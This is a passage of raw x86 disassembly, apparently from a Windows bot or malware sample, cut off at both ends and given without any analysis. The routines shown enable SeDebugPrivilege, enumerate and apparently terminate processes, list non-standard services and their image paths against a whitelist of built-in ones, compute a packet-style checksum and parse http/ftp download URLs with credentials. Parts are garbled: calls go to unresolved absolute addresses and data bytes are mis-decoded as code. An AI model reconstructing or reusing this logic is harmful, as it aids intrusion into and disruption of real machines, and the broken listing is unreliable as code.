mov [esp+46Ch+var_450], 80h
call sub_40102D
add esp, 0Ch
lea ecx, [esp+460h+var_454]
push ecx
push 20019h
push 0
lea ecx, [esp+46Ch+var_43C]
call sub_40168B
push eax
push 80000002h
nop
call near ptr 2920000h
mov ecx, [esp+474h+var_468]
lea edx, [esp+474h+var_464]
lea eax, [esp+474h+var_420]
push edx
push eax
push 0
push 0
push offset aImagepath ; "ImagePath"
push ecx
nop
call near ptr 28D0000h
lea edx, [esp+0Bh]
lea eax, [esp+48Ch+var_438]
push edx
push eax
lea ecx, [esp+494h+var_478]
nop
call near ptr 76081F67h
mov ecx, dword_5119E0
mov [esp+494h+var_38], 2
mov edx, [ecx]
lea ecx, [esp+494h+var_480]
push edx
push offset asc_444AE4 ; "\\"
nop
call near ptr 76085AE4h
inc eax
lea ecx, [esp+49Ch+var_488]
push eax
push 0
nop
call near ptr 760976AFh
lea ecx, [esp+4A4h+var_490]
nop
call near ptr 7608B84Ch
push eax
call sub_401604
; ---------------------------------------------------------------------------
db 83h, 0C4h, 4
dd 24244C8Dh, 0FE1366E8h, 16E850FFh, 90023C09h, 14244C8Dh
dd 5C249C88h, 0E8000004h, 75C6F149h, 244C8D90h, 2484C724h
dd 45Ch, 0FFFFFFFFh, 0FE0ED5E8h, 5EC38AFFh, 248C8B5Bh
dd 44Ch, 0D8964h, 81000000h, 458C4h
db 0, 0C3h
; ---------------------------------------------------------------------------
loc_42036A: ; CODE XREF: sub_4201F0+5Aj
mov ecx, [esp+460h+var_C]
pop esi
xor al, al
pop ebx
mov large fs:0, ecx
add esp, 458h
retn
sub_4201F0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420400 proc near ; CODE XREF: sub_401EABj
var_1C = byte ptr -1Ch
arg_0 = dword ptr 4
sub esp, 1Ch
push ebx
push esi
push 0F003Fh
push offset aServicesactive ; "ServicesActive"
push 0
call near ptr 28F0B72h
nop
mov ebx, eax
test ebx, ebx
jnz short loc_420425
pop esi
xor al, al
pop ebx
add esp, 1Ch
retn
; ---------------------------------------------------------------------------
loc_420425: ; CODE XREF: sub_420400+1Bj
mov ecx, [esp+24h+arg_0]
push 0F01FFh
call sub_4017EE
push eax
push ebx
nop
call near ptr 2890B07h
mov esi, eax
test esi, esi
jnz short loc_420450
push ebx
nop
call near ptr 29003DCh
pop esi
xor al, al
pop ebx
add esp, 1Ch
retn
; ---------------------------------------------------------------------------
loc_420450: ; CODE XREF: sub_420400+3Fj
push ebp
push edi
mov edi, dword_511748
push esi
call edi
push esi
call edi
mov ebp, dword_511744
lea eax, [esp+2Ch+var_1C]
push eax
push 1
push esi
call ebp
push esi
call edi
lea ecx, [esp+2Ch+var_1C]
push ecx
push 1
push esi
call ebp
push esi
mov esi, dword_511754
call esi
push ebx
call esi
pop edi
pop ebp
pop esi
mov al, 1
pop ebx
add esp, 1Ch
retn
sub_420400 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4204D0 proc near ; CODE XREF: sub_4018B6j
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_14 = dword ptr -14h
var_10 = byte ptr -10h
arg_0 = dword ptr 4
sub esp, 28h
push ebx
push ebp
push esi
lea eax, [esp+34h+var_28]
push edi
xor esi, esi
push eax
push esi
push 28h
xor bl, bl
mov [esp+44h+var_24], 10h
call near ptr 27901BAh
nop
push eax
call near ptr 28B15A2h
nop
mov ebp, dword_511720
mov edi, dword_5118E0
test eax, eax
jnz short loc_420520
lea ecx, [esp+38h+var_28]
push ecx
push 28h
nop
call near ptr 27901DCh
push eax
nop
call near ptr 28B1C08h
test eax, eax
jz short loc_42057F
loc_420520: ; CODE XREF: sub_4204D0+36j
cmp [esp+38h+var_28], esi
jz short loc_420583
lea edx, [esp+38h+var_1C]
mov [esp+38h+var_20], 1
push edx
push offset aSedebugprivile ; "SeDebugPrivilege"
push esi
mov [esp+44h+var_14], 2
nop
call near ptr 28C0000h
lea eax, [esp+38h+var_24]
lea ecx, [esp+38h+var_10]
push eax
mov eax, [esp+3Ch+var_28]
push ecx
lea edx, [esp+40h+var_20]
push 10h
push edx
push esi
push eax
call ebp
test eax, eax
jz short loc_420578
nop
call near ptr 27C0849h
cmp eax, 514h
jnz short loc_420583
mov ecx, [esp+38h+var_28]
push ecx
jmp short loc_42057D
; ---------------------------------------------------------------------------
loc_420578: ; CODE XREF: sub_4204D0+92j
mov edx, [esp+38h+var_28]
push edx
loc_42057D: ; CODE XREF: sub_4204D0+A6j
call edi
loc_42057F: ; CODE XREF: sub_4204D0+4Ej
mov [esp+38h+var_28], esi
loc_420583: ; CODE XREF: sub_4204D0+54j
; sub_4204D0+9Fj
mov eax, [esp+38h+arg_0]
push eax
push esi
push 411h
nop
call near ptr 2700000h
mov esi, eax
test esi, esi
jz short loc_4205A8
push 0
push esi
nop
call near ptr 27901F7h
push esi
mov bl, 1
call edi
loc_4205A8: ; CODE XREF: sub_4204D0+C8j
mov eax, [esp+38h+var_28]
test eax, eax
jz short loc_4205C7
push 0
push 0
lea ecx, [esp+40h+var_10]
push 10h
push ecx
push 0
push eax
call ebp
mov edx, [esp+38h+var_28]
push edx
call edi
loc_4205C7: ; CODE XREF: sub_4204D0+DEj
pop edi
pop esi
mov al, bl
pop ebp
pop ebx
add esp, 28h
retn
sub_4204D0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420630 proc near ; CODE XREF: sub_4011D6j
var_68 = dword ptr -68h
var_54 = byte ptr -54h
var_4C = dword ptr -4Ch
var_3C = byte ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_28 = byte ptr -28h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_F4 = byte ptr 0F8h
arg_100 = byte ptr 104h
arg_10C4 = dword ptr 10C8h
arg_10D0 = dword ptr 10D4h
arg_1104 = dword ptr 1108h
arg_1118 = dword ptr 111Ch
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_420630
push eax
mov eax, 1130h
mov large fs:0, esp
call sub_437B30
push esi
push offset aPsapi_dll ; "PSAPI.DLL"
nop
call near ptr 2871C12h
test eax, eax
mov dword_50DB40, eax
jnz short loc_42067C
push offset aPsapi_dll ; "PSAPI.DLL"
nop
call near ptr 27E08BCh
test eax, eax
mov dword_50DB40, eax
jz loc_4207FA
loc_42067C: ; CODE XREF: sub_420630+32j
mov esi, dword_511918
push offset aEnumprocesses ; "EnumProcesses"
push eax
call esi
mov dword_50DB44, eax
mov eax, dword_50DB40
push offset aEnumprocessmod ; "EnumProcessModules"
push eax
call esi
mov ecx, dword_50DB40
push offset aGetmodulefilen ; "GetModuleFileNameExA"
push ecx
mov dword_50DB48, eax
call esi
mov ecx, dword_50DB44
mov dword_50DB4C, eax
test ecx, ecx
jz loc_4207FA
mov edx, dword_50DB48
test edx, edx
jz loc_4207FA
test eax, eax
jz loc_4207FA
lea edx, [esp+30h+var_28]
lea eax, [esp+30h+arg_100]
push edx
push 1000h
push eax
call ecx
test eax, eax
jz loc_4207FA
mov ecx, dword ptr aUnknown ; "unknown"
mov eax, dword ptr aUnknown+4
mov edx, [esp+3Ch+var_34]
push edi
mov [esp+40h+var_C], ecx
mov [esp+40h+var_8], eax
mov ecx, 3Fh
mov eax, 0
lea edi, [esp+40h+var_4]
shr edx, 2
rep stosd
jz loc_4207E1
push ebx
mov ebx, [esp+44h+arg_1104]
push ebp
mov ebp, dword_5117E0
lea edi, [esp+48h+arg_F4]
mov [esp+48h+var_38], edx
loc_42073F: ; CODE XREF: sub_420630+1A9j
mov ecx, [edi]
push ecx
push 0
push 410h
call ebp
mov esi, eax
test esi, esi
jz short loc_4207CD
lea edx, [esp+54h+var_38]
lea eax, [esp+54h+var_3C]
push edx
push 4
push eax
push esi
call dword_50DB48
test eax, eax
jz short loc_4207C6
mov edx, [esp+64h+var_4C]
lea ecx, [esp+64h+var_28]
push 104h
push ecx
push edx
push esi
call dword_50DB4C
lea ecx, [esp+74h+var_54]
call sub_401875
lea eax, [esp+74h+var_38]
lea ecx, [esp+74h+var_54]
push eax
mov [esp+78h+arg_10D0], 0
call sub_4015E1
mov ecx, [edi]
lea edx, [esp+74h+var_54]
mov [esp+35h], ecx
push edx
mov ecx, ebx
call sub_402185
; ---------------------------------------------------------------------------
lea ecx, [esp+74h+var_54]
mov [esp+74h+arg_10D0], 0FFFFFFFFh
call sub_401A82
loc_4207C6: ; CODE XREF: sub_420630+136j
push esi
nop
call near ptr 2830910h
loc_4207CD: ; CODE XREF: sub_420630+11Fj
mov eax, [esp+78h+var_68]
add edi, 4
dec eax
mov [esp+78h+var_68], eax
jnz loc_42073F
pop ebp
pop ebx
loc_4207E1: ; CODE XREF: sub_420630+EFj
pop edi
mov al, 1
pop esi
mov ecx, [esp+68h+arg_10C4]
mov large fs:0, ecx
add esp, 113Ch
retn
; ---------------------------------------------------------------------------
loc_4207FA: ; CODE XREF: sub_420630+46j
; sub_420630+8Cj ...
mov ecx, [esp+18h+arg_1118]
xor al, al
pop esi
mov large fs:0, ecx
add esp, 113Ch
retn
sub_420630 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 80h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4208A0 proc near ; CODE XREF: sub_401875j
push esi
mov esi, ecx
call sub_40142E
mov eax, esi
pop esi
retn
sub_4208A0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4208C0 proc near ; CODE XREF: sub_401A82j
jmp sub_401226
sub_4208C0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4208E0 proc near ; CODE XREF: sub_402162j
var_518 = byte ptr -518h
var_514 = dword ptr -514h
var_510 = dword ptr -510h
var_50C = dword ptr -50Ch
var_508 = dword ptr -508h
var_504 = dword ptr -504h
var_500 = dword ptr -500h
var_4FC = dword ptr -4FCh
var_4F8 = byte ptr -4F8h
var_4E4 = dword ptr -4E4h
var_4E0 = dword ptr -4E0h
var_4DC = dword ptr -4DCh
var_4D8 = dword ptr -4D8h
var_4D4 = dword ptr -4D4h
var_4D0 = dword ptr -4D0h
var_4CC = dword ptr -4CCh
var_4C8 = dword ptr -4C8h
var_4C4 = dword ptr -4C4h
var_4C0 = dword ptr -4C0h
var_4BC = dword ptr -4BCh
var_4B8 = dword ptr -4B8h
var_4B4 = dword ptr -4B4h
var_4B0 = dword ptr -4B0h
var_4AC = dword ptr -4ACh
var_4A8 = dword ptr -4A8h
var_4A4 = dword ptr -4A4h
var_4A0 = dword ptr -4A0h
var_49C = dword ptr -49Ch
var_498 = dword ptr -498h
var_494 = dword ptr -494h
var_490 = dword ptr -490h
var_48C = dword ptr -48Ch
var_488 = dword ptr -488h
var_484 = dword ptr -484h
var_480 = dword ptr -480h
var_47C = dword ptr -47Ch
var_478 = dword ptr -478h
var_474 = dword ptr -474h
var_470 = dword ptr -470h
var_46C = dword ptr -46Ch
var_468 = dword ptr -468h
var_464 = dword ptr -464h
var_460 = dword ptr -460h
var_45C = dword ptr -45Ch
var_458 = dword ptr -458h
var_454 = dword ptr -454h
var_450 = dword ptr -450h
var_44C = dword ptr -44Ch
var_448 = dword ptr -448h
var_444 = dword ptr -444h
var_440 = dword ptr -440h
var_43C = dword ptr -43Ch
var_438 = dword ptr -438h
var_430 = byte ptr -430h
var_41C = byte ptr -41Ch
var_408 = byte ptr -408h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_4 = dword ptr 8
push 0FFFFFFFFh
push offset SEH_4208E0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 50Ch
push ebx
push ebp
xor ebx, ebx
push 80000000h
push ebx
push ebx
nop
call near ptr 28F0B72h
mov ebp, eax
cmp ebp, ebx
mov [esp+520h+var_500], ebp
jnz short loc_42092F
pop ebp
xor al, al
pop ebx
mov ecx, [esp+518h+var_C]
mov large fs:0, ecx
add esp, 518h
retn
; ---------------------------------------------------------------------------
loc_42092F: ; CODE XREF: sub_4208E0+34j
push esi
push edi
lea ecx, [esp+528h+var_4FC]
mov [esp+528h+var_4E4], offset aAudiosrv ; "AudioSrv"
mov [esp+528h+var_4E0], offset aBrowser ; "Browser"
mov [esp+528h+var_4DC], offset aCryptsvc ; "CryptSvc"
mov [esp+528h+var_4D8], offset aDhcp ; "Dhcp"
mov [esp+528h+var_4D4], offset aDmserver ; "dmserver"
mov [esp+528h+var_4D0], offset aDnscache ; "Dnscache"
mov [esp+528h+var_4CC], offset aErsvc ; "ERSvc"
mov [esp+528h+var_4C8], offset aEventlog ; "Eventlog"
mov [esp+528h+var_4C4], offset aEventsystem ; "EventSystem"
mov [esp+528h+var_4C0], offset aFastuserswitch ; "FastUserSwitchingCompatibility"
mov [esp+528h+var_4BC], offset aHelpsvc ; "helpsvc"
mov [esp+528h+var_4B8], offset aLanmanserver ; "lanmanserver"
mov [esp+528h+var_4B4], offset aLanmanworkstat ; "lanmanworkstation"
mov [esp+528h+var_4B0], offset aLmhosts ; "LmHosts"
mov [esp+528h+var_4AC], offset off_44531C
mov [esp+528h+var_4A8], offset aMessenger ; "Messenger"
mov [esp+528h+var_4A4], offset aNetman ; "Netman"
mov [esp+528h+var_4A0], offset off_445304
mov [esp+528h+var_49C], offset aPlugplay ; "PlugPlay"
mov [esp+528h+var_498], offset aPolicyagent ; "PolicyAgent"
mov [esp+528h+var_494], offset aProtectedstora ; "ProtectedStorage"
mov [esp+528h+var_490], offset aRasman ; "RasMan"
mov [esp+528h+var_48C], offset aRpcss ; "RpcSs"
mov [esp+528h+var_488], offset aSamss ; "SamSs"
mov [esp+528h+var_484], offset aSchedule ; "Schedule"
mov [esp+528h+var_480], offset aSeclogon ; "seclogon"
mov [esp+528h+var_47C], offset aSens ; "SENS"
mov [esp+528h+var_478], offset aShellhwdetecti ; "ShellHWDetection"
mov [esp+528h+var_474], offset aSpooler ; "Spooler"
mov [esp+528h+var_470], offset aSsdpsrv ; "SSDPSRV"
mov [esp+528h+var_46C], offset aStisvc ; "stisvc"
mov [esp+528h+var_468], offset aTapisrv ; "TapiSrv"
mov [esp+528h+var_464], offset aTermservice ; "TermService"
mov [esp+528h+var_460], offset aTrkwks ; "TrkWks"
mov [esp+528h+var_45C], offset aUploadmgr ; "uploadmgr"
mov [esp+528h+var_458], offset aUpnphost ; "upnphost"
mov [esp+528h+var_454], offset aW32time ; "W32Time"
mov [esp+528h+var_450], offset aWebclient ; "WebClient"
mov [esp+528h+var_44C], offset aWinmgmt ; "winmgmt"
mov [esp+528h+var_448], offset aWzcsvc ; "WZCSVC"
mov [esp+528h+var_444], offset aWuauserv ; "wuauserv"
mov [esp+528h+var_440], offset aSrservice ; "srservice"
mov [esp+528h+var_43C], offset aThemes ; "Themes"
mov [esp+528h+var_438], ebx
mov [esp+528h+var_510], ebx
call sub_40142E
lea eax, [esp+528h+var_510]
lea ecx, [esp+528h+var_514]
mov esi, dword_511718
push eax
lea edx, [esp+52Ch+var_518]
push ecx
push edx
lea eax, [esp+534h+var_41C]
push ebx
push eax
push 1
push 30h
push ebp
mov [esp+548h+var_4], ebx
mov [esp+548h+var_50C], ebx
mov [esp+548h+var_504], 80h
call esi
mov ecx, [esp+524h+var_514]
push ecx
nop
call near ptr 77C2C407h
add esp, 4
mov edi, eax
lea edx, [esp+524h+var_50C]
lea eax, [esp+524h+var_510]
push edx
mov edx, [esp+528h+var_514]
lea ecx, [esp+528h+var_514]
push eax
push ecx
push edx
push edi
push 1
push 30h
push ebp
call esi
mov eax, [esp+524h+var_510]
mov [esp+524h+var_504], ebx
cmp eax, ebx
jbe loc_420C8F
mov ebp, dword_511764
loc_420B6B: ; CODE XREF: sub_4208E0+3A5j
mov eax, offset aAudiosrv ; "AudioSrv"
test eax, eax
jz short loc_420B97
lea esi, [esp+524h+var_4E0]
loc_420B78: ; CODE XREF: sub_4208E0+2B5j
mov ecx, [edi]
push ecx
push eax
nop
call near ptr 77C4624Eh
add esp, 8
test eax, eax
jz loc_420C73
mov eax, [esi+4]
add esi, 4
cmp eax, ebx
jnz short loc_420B78
loc_420B97: ; CODE XREF: sub_4208E0+292j
mov edx, [edi]
lea eax, [esp+524h+var_4F8]
push edx
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s"
push eax
call sub_40102D
add esp, 0Ch
lea ecx, [esp+524h+var_508]
push ecx
push 20019h
push ebx
lea ecx, [esp+530h+var_4F8]
call sub_40168B
push eax
push 80000002h
call ebp
cmp eax, ebx
jz short loc_420BE3
mov edx, [edi]
lea eax, [esp+524h+var_4F8]
push edx
push offset aS????_exeUnkno ; "[%s] [????.exe] (Unknown key)"
push eax
call sub_40102D
add esp, 0Ch
jmp short loc_420C3A
; ---------------------------------------------------------------------------
loc_420BE3: ; CODE XREF: sub_4208E0+2EAj
mov eax, [esp+524h+var_508]
lea ecx, [esp+524h+var_500]
lea edx, [esp+524h+var_408]
push ecx
push edx
push ebx
push ebx
push offset aImagepath ; "ImagePath"
push eax
nop
call near ptr 28D0000h
cmp eax, ebx
jz short loc_420C1D
mov ecx, [edi]
lea edx, [esp+524h+var_4F8]
push ecx
push offset aS????_exe ; "[%s] [????.exe]"
push edx
call sub_40102D
add esp, 0Ch
jmp short loc_420C3A
; ---------------------------------------------------------------------------
loc_420C1D: ; CODE XREF: sub_4208E0+324j
mov ecx, [edi]
lea eax, [esp+524h+var_408]
push eax
push ecx
lea edx, [esp+52Ch+var_4F8]
push offset aSS ; "[%s] [%s]"
push edx
call sub_40102D
add esp, 10h
loc_420C3A: ; CODE XREF: sub_4208E0+301j
; sub_4208E0+33Bj
lea eax, [esp+524h+var_4F8]
lea ecx, [esp+524h+var_430]
push eax
call sub_4014D3
mov ecx, [esp+524h+arg_4]
push eax
mov byte ptr [esp+528h], 1
call sub_401325
; ---------------------------------------------------------------------------
lea ecx, [esp+524h+var_430]
mov [esp+524h], bl
call sub_401226
loc_420C73: ; CODE XREF: sub_4208E0+2A7j
mov eax, [esp+524h+var_504]
mov ecx, [esp+524h+var_510]
inc eax
add edi, 24h
cmp eax, ecx
mov [esp+524h+var_504], eax
jb loc_420B6B
mov ebp, [esp+524h+var_4FC]
loc_420C8F: ; CODE XREF: sub_4208E0+27Fj
push ebp
nop
call near ptr 29003DCh
lea ecx, [esp+528h+var_4FC]
mov [esp+528h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+528h+var_C]
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
mov large fs:0, ecx
add esp, 518h
retn
sub_4208E0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 100h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420DD0 proc near ; CODE XREF: sub_4015F5j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
mov esi, [esp+4+arg_0]
push eax
push esi
push 0
call near ptr 2871C12h
nop
push eax
nop
call near ptr 287102Ch
mov eax, esi
pop esi
retn
sub_420DD0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420E00 proc near ; CODE XREF: sub_401A37j
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_4]
push ebx
mov [ebp+var_4], 0
mov [ebp+arg_4], eax
femms
mov ecx, [ebp+arg_4]
mov edx, [ebp+arg_0]
mov ebx, [ebp+var_4]
cmp ecx, 2
js short loc_420E39
loc_420E22: ; CODE XREF: sub_420E00+32j
xor eax, eax
mov ax, [edx]
add ebx, eax
sub ecx, 2
add edx, 2
cmp ecx, 1
jg short loc_420E22
cmp ecx, 0
jz short loc_420E4A
loc_420E39: ; CODE XREF: sub_420E00+20j
; sub_420E00+48j
xor eax, eax
mov al, [edx]
add ebx, eax
sub ecx, 1
add edx, 1
cmp ecx, 0
jg short loc_420E39
loc_420E4A: ; CODE XREF: sub_420E00+37j
mov [ebp+var_4], ebx
mov eax, [ebp+var_4]
shr eax, 10h
mov ebx, [ebp+var_4]
and ebx, 0FFFFh
add eax, ebx
mov ebx, eax
shr ebx, 10h
add eax, ebx
mov [ebp+var_4], eax
femms
mov eax, [ebp+var_4]
pop ebx
not eax
mov esp, ebp
pop ebp
retn
sub_420E00 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_420EA0: ; CODE XREF: ___:00401019j
mov eax, [esp+4]
mov dword_50DB34, eax
mov eax, offset dword_50DB34
retn
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_420EC0: ; CODE XREF: ___:0040177Bj
push ebx
push ebp
push esi
mov esi, [esp+10h]
push edi
mov edi, dword_511AAC
push esi
call edi ; ftell
mov ebp, dword_511AA4
push 2
push 0
push esi
mov ebx, eax
call ebp ; fseek
push esi
call edi ; ftell
push 0
push ebx
push esi
mov edi, eax
call ebp ; fseek
add esp, 20h
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420F10 proc near ; CODE XREF: sub_401947j
var_84 = byte ptr -84h
var_6C = byte ptr -6Ch
var_54 = byte ptr -54h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_420F10
push eax
mov large fs:0, esp
sub esp, 78h
push ebx
push esi
mov esi, [esp+8Ch+arg_0]
xor ebx, ebx
cmp esi, ebx
push edi
jnz short loc_420F3F
xor al, al
jmp loc_421519
; ---------------------------------------------------------------------------
loc_420F3F: ; CODE XREF: sub_420F10+26j
lea ecx, [esp+90h+var_84]
call sub_40142E
push esi
lea ecx, [esp+94h+var_84]
mov [esp+94h+var_4], ebx
call sub_4015E1
push offset asc_444C74 ; ":"
lea eax, [esp+94h+var_54]
push ebx
push eax
lea ecx, [esp+9Ch+var_84]
call sub_4016B8
mov esi, [esp+90h+arg_4]
push eax
mov ecx, esi
mov byte ptr [esp+94h+var_4], 1
call sub_401FDC
lea ecx, [esp+90h+var_54]
mov byte ptr [esp+90h+var_4], bl
call sub_401226
push offset aHttp ; "http"
mov ecx, esi
call sub_4012EE
test eax, eax
jz short loc_420FCF
push offset aFtp ; "ftp"
mov ecx, esi
call sub_4012EE
test eax, eax
jz short loc_420FCF
lea ecx, [esp+90h+var_84]
mov [esp+90h+var_4], 0FFFFFFFFh
call sub_401226
xor al, al
jmp loc_421519
; ---------------------------------------------------------------------------
loc_420FCF: ; CODE XREF: sub_420F10+92j
; sub_420F10+A2j
push offset asc_4453F0 ; "/"
lea ecx, [esp+94h+var_54]
push 1
push ecx
lea ecx, [esp+9Ch+var_84]
call sub_4016B8
push 40h
mov ecx, eax
mov byte ptr [esp+94h+var_4], 2
call sub_401D34
lea ecx, [esp+90h+var_54]
mov edi, eax
mov byte ptr [esp+90h+var_4], bl
call sub_401226
cmp edi, ebx
push offset asc_4453F0 ; "/"
push 1
jz loc_42130C
lea edx, [esp+98h+var_24]
lea ecx, [esp+98h+var_84]
push edx
call sub_4016B8
push offset a@ ; "@"
lea ecx, [esp+94h+var_3C]
push 1
push ecx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 3
call sub_4016B8
push offset asc_444C74 ; ":"
lea edx, [esp+94h+var_54]
push ebx
push edx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 4
call sub_4016B8
lea edi, [esi+15h]
push eax
mov ecx, edi
mov byte ptr [esp+94h+var_4], 5
call sub_401FDC
lea ecx, [esp+90h+var_54]
mov byte ptr [esp+90h+var_4], 4
call sub_401226
lea ecx, [esp+90h+var_3C]
mov byte ptr [esp+90h+var_4], 3
call sub_401226
lea ecx, [esp+90h+var_24]
mov byte ptr [esp+90h+var_4], bl
call sub_401226
push offset byte_448F40
mov ecx, edi
call sub_4012EE
test eax, eax
jnz short loc_4210C9
lea ecx, [esp+90h+var_84]
mov [esp+90h+var_4], 0FFFFFFFFh
call sub_401226
xor al, al
jmp loc_421519
; ---------------------------------------------------------------------------
loc_4210C9: ; CODE XREF: sub_420F10+19Cj
push offset asc_4453F0 ; "/"
lea eax, [esp+94h+var_54]
push 1
push eax
lea ecx, [esp+9Ch+var_84]
call sub_4016B8
push offset a@ ; "@"
lea ecx, [esp+94h+var_3C]
push 1
push ecx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 6
call sub_4016B8
push offset asc_444C74 ; ":"
lea edx, [esp+94h+var_24]
push 1
push edx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 7
call sub_4016B8
mov ecx, eax
mov byte ptr [esp+90h+var_4], 8
call sub_4017EE
push eax
call near ptr 77C1BF18h
nop
add esp, 4
lea ecx, [esp+90h+var_24]
mov [esi+54h], eax
mov byte ptr [esp+90h+var_4], 7
call sub_401226
lea ecx, [esp+90h+var_3C]
mov byte ptr [esp+90h+var_4], 6
call sub_401226
lea ecx, [esp+90h+var_54]
mov byte ptr [esp+90h+var_4], bl
call sub_401226
cmp [esi+54h], ebx
jnz short loc_421195
push offset aHttp ; "http"
mov ecx, esi
call sub_4012EE
test eax, eax
jnz short loc_42117E
mov dword ptr [esi+54h], 50h
loc_42117E: ; CODE XREF: sub_420F10+265j
push offset aFtp ; "ftp"
mov ecx, esi
call sub_4012EE
test eax, eax
jnz short loc_421195
mov dword ptr [esi+54h], 15h
loc_421195: ; CODE XREF: sub_420F10+255j
; sub_420F10+27Cj
push offset asc_4453F0 ; "/"
lea eax, [esp+94h+var_54]
push 1
push eax
lea ecx, [esp+9Ch+var_84]
call sub_4016B8
push offset a@ ; "@"
lea ecx, [esp+94h+var_3C]
push ebx
push ecx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 9
call sub_4016B8
push offset asc_444C74 ; ":"
lea edx, [esp+94h+var_24]
push ebx
push edx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 0Ah
call sub_4016B8
lea edi, [esi+2Ah]
push eax
mov ecx, edi
mov byte ptr [esp+94h+var_4], 0Bh
call sub_401FDC
lea ecx, [esp+90h+var_24]
mov byte ptr [esp+90h+var_4], 0Ah
call sub_401226
lea ecx, [esp+90h+var_3C]
mov byte ptr [esp+90h+var_4], 9
call sub_401226
lea ecx, [esp+90h+var_54]
mov byte ptr [esp+90h+var_4], bl
call sub_401226
push offset byte_448F40
mov ecx, edi
call sub_4012EE
test eax, eax
jnz short loc_42124E
lea ecx, [esp+90h+var_84]
mov [esp+90h+var_4], 0FFFFFFFFh
call sub_401226
xor al, al
jmp loc_421519
; ---------------------------------------------------------------------------
loc_42124E: ; CODE XREF: sub_420F10+321j
push offset asc_4453F0 ; "/"
lea eax, [esp+94h+var_54]
push 1
push eax
lea ecx, [esp+9Ch+var_84]
call sub_4016B8
push offset a@ ; "@"
lea ecx, [esp+94h+var_3C]
push ebx
push ecx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 0Ch
call sub_4016B8
push offset asc_444C74 ; ":"
lea edx, [esp+94h+var_24]
push 1
push edx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 0Dh
call sub_4016B8
lea edi, [esi+3Fh]
push eax
mov ecx, edi
mov byte ptr [esp+94h+var_4], 0Eh
call sub_401FDC
lea ecx, [esp+90h+var_24]
mov byte ptr [esp+90h+var_4], 0Dh
call sub_401226
lea ecx, [esp+90h+var_3C]
mov byte ptr [esp+90h+var_4], 0Ch
call sub_401226
lea ecx, [esp+90h+var_54]
mov byte ptr [esp+90h+var_4], bl
call sub_401226
push offset byte_448F40
mov ecx, edi
call sub_4012EE
test eax, eax
jnz loc_421433
lea ecx, [esp+90h+var_84]
mov [esp+90h+var_4], 0FFFFFFFFh
call sub_401226
xor al, al
jmp loc_421519
; ---------------------------------------------------------------------------
loc_42130C: ; CODE XREF: sub_420F10+100j
lea eax, [esp+98h+var_3C]
lea ecx, [esp+98h+var_84]
push eax
call sub_4016B8
push offset asc_444C74 ; ":"
lea ecx, [esp+94h+var_24]
push ebx
push ecx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 0Fh
call sub_4016B8
lea edi, [esi+15h]
push eax
mov ecx, edi
mov byte ptr [esp+94h+var_4], 10h
call sub_401FDC
lea ecx, [esp+90h+var_24]
mov byte ptr [esp+90h+var_4], 0Fh
call sub_401226
lea ecx, [esp+90h+var_3C]
mov byte ptr [esp+90h+var_4], bl
call sub_401226
push offset byte_448F40
mov ecx, edi
call sub_4012EE
test eax, eax
jnz short loc_421393
lea ecx, [esp+90h+var_84]
mov [esp+90h+var_4], 0FFFFFFFFh
call sub_401226
xor al, al
jmp loc_421519
; ---------------------------------------------------------------------------
loc_421393: ; CODE XREF: sub_420F10+466j
push offset asc_4453F0 ; "/"
lea edx, [esp+94h+var_3C]
push 1
push edx
lea ecx, [esp+9Ch+var_84]
call sub_4016B8
push offset asc_444C74 ; ":"
lea ecx, [esp+94h+var_24]
push 1
push ecx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 11h
call sub_4016B8
mov ecx, eax
mov byte ptr [esp+90h+var_4], 12h
call sub_4017EE
